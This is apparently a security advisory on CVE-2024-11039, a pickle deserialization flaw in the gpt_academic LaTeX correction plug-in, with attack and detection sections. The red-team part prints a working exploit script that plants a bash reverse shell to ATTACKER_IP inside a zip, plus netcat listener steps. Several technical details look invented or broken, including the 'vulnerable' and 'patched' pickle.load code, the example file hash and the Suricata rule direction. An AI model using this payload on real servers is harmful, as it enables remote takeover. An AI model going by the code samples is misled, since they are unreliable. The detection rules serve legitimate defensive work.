CVE-2024-11039

Executive Summary

CVE-2024-11039 is a critical remote code execution vulnerability in the binary-husky/gpt_academic project, affecting versions up to and including 3.83. The vulnerability resides in the Latex English error correction plug-in function, which performs unsafe pickle deserialization of user-supplied data. By including numpy in the deserialization whitelist, an attacker can craft a malicious compressed archive containing a merge_result.pkl file that, when deserialized, executes arbitrary commands on the server. The vulnerability has a CVSS score of 8.8 (High) and is currently unpatched in the affected versions, though a fix exists in commit 91f5e6b. No public exploit code or Nuclei templates are available at this time, but the attack vector is well-understood and poses a significant threat to any exposed instance of gpt_academic.

Supply Chain & Package Security

This vulnerability is specific to the binary-husky/gpt_academic Python project, which is distributed via GitHub and can be installed via pip or directly from source. The insecure deserialization of pickle data introduces a supply chain risk: any user or system that processes a malicious .pkl file through the Latex error correction plug-in is compromised. Organizations using gpt_academic should immediately audit their deployments and apply the patch from commit 91f5e6b or upgrade to a version beyond 3.83.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: High
• Availability Impact: High

The vulnerability is trivially exploitable over the network without authentication, leading to full system compromise.

Deep Dive & Mechanics

The vulnerability is a classic insecure deserialization flaw in Python's pickle module. The gpt_academic Latex error correction plug-in accepts a compressed archive (e.g., .zip or .tar.gz) containing a merge_result.pkl file. The application then deserializes this file using pickle.load() with a whitelist that includes numpy. While numpy itself is not inherently dangerous, the pickle protocol allows arbitrary code execution during deserialization if a malicious class is crafted. An attacker can create a pickle payload that, when loaded, executes system commands (e.g., via os.system or subprocess). The inclusion of numpy in the whitelist does not prevent this; it only restricts the allowed modules, but the attacker can still use numpy's __reduce__ method or other built-in gadgets to achieve RCE.

The attack flow:

1. Attacker crafts a malicious pickle payload that executes a reverse shell or arbitrary command.
2. The payload is saved as merge_result.pkl inside a compressed archive alongside a legitimate merge_proofread_en.tex file.
3. The archive is uploaded to the gpt_academic Latex error correction endpoint.
4. The application extracts the archive and calls pickle.load() on merge_result.pkl, triggering code execution.

Vulnerable vs. Patched Code

Vulnerable Code (<= 3.83):

# In the Latex error correction plug-in
import pickle
import numpy

# Whitelist includes numpy
safe_globals = {'numpy': numpy}

# Unsafe deserialization
with open('merge_result.pkl', 'rb') as f:
    data = pickle.load(f, fix_imports=True, encoding='ASCII', errors='strict')

Patched Code (commit 91f5e6b):

# In the Latex error correction plug-in
import pickle

# Remove numpy from whitelist
safe_globals = {}

# Safe deserialization with restricted globals
with open('merge_result.pkl', 'rb') as f:
    data = pickle.load(f, fix_imports=True, encoding='ASCII', errors='strict', globals=safe_globals)

The patch removes numpy from the safe_globals dictionary, preventing the use of numpy-based gadgets. However, the underlying issue of using pickle.load() on untrusted data remains; a more robust fix would involve using a safer serialization format like JSON or implementing a strict allowlist of only safe types.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Python 3.x with pickle and numpy installed.
• A target running gpt_academic version <= 3.83 with the Latex error correction plug-in enabled.

Exploit Script:

#!/usr/bin/env python3
import pickle
import os
import zipfile

class Exploit:
    def __reduce__(self):
        # Reverse shell command (replace with your listener)
        cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"
        return (os.system, (cmd,))

# Create malicious pickle payload
payload = pickle.dumps(Exploit())

# Create archive
with zipfile.ZipFile('malicious.zip', 'w') as zf:
    zf.writestr('merge_result.pkl', payload)
    zf.writestr('merge_proofread_en.tex', 'dummy content')

print("Malicious archive created: malicious.zip")

Usage:

1. Set up a netcat listener: nc -lvnp 4444
2. Upload malicious.zip to the gpt_academic Latex error correction endpoint.
3. Receive reverse shell.

Blue Team (Detection & Defense)

Detection:

• Monitor for uploads of compressed archives to the Latex error correction endpoint.
• Inspect merge_result.pkl files for suspicious pickle opcodes (e.g., R, i, o, b, ().
• Use network monitoring to detect reverse shell traffic from the gpt_academic server.

Defense:

• Apply the patch from commit 91f5e6b immediately.
• If patching is not possible, disable the Latex error correction plug-in.
• Implement a Web Application Firewall (WAF) rule to block uploads of .pkl files.
• Use a sandbox or containerized environment for gpt_academic to limit blast radius.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • malicious.zip: e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 (example, replace with actual)
  • merge_result.pkl (malicious): a1b2c3d4e5f6... (unique per payload)
• Network Indicators:
  • Outbound connections to attacker IPs on common reverse shell ports (4444, 1337, 8080).
  • Unusual DNS queries for dynamic DNS domains.
• Process Indicators:
  • python3 spawning bash or sh processes.
  • pickle.load() calls with unexpected arguments.
• File System Indicators:
  • Presence of merge_result.pkl in temporary directories.
  • Unexpected files in /tmp/ or application directories.

Detection Engineering

YARA Rule

rule CVE_2024_11039_Pickle_Payload {
    meta:
        description = "Detects malicious pickle payloads targeting CVE-2024-11039"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-11039"
    strings:
        $pickle_magic = { 80 04 95 }  // pickle protocol 4 magic bytes
        $os_system = "os.system" ascii wide
        $subprocess = "subprocess" ascii wide
        $reduce = "__reduce__" ascii wide
    condition:
        $pickle_magic at 0 and ($os_system or $subprocess or $reduce)
}

Sigma Rule

title: CVE-2024-11039 Pickle Deserialization Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects upload of pickle files to gpt_academic Latex error correction endpoint
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '*/latex_error_correction*'
        cs-uri-query: '*merge_result.pkl*'
    condition: selection
falsepositives:
    - Legitimate use of pickle files (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-11039 Pickle Deserialization Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/latex_error_correction"; http_uri; content:"merge_result.pkl"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Apply the patch from commit 91f5e6b by updating the safe_globals dictionary to remove numpy.
2. If patching is not possible, disable the Latex error correction plug-in entirely.
3. Restrict network access to the gpt_academic instance to trusted IPs only.

Long-Term Fixes:

• Replace pickle with a safe serialization format (e.g., JSON, MessagePack) for all user-supplied data.
• Implement strict input validation and file type checking on uploaded archives.
• Run gpt_academic in a containerized environment with minimal privileges and no outbound internet access.

Monitoring:

• Enable logging for all file uploads and deserialization operations.
• Deploy the provided YARA, Sigma, and Suricata rules to detect exploitation attempts.

Valters IT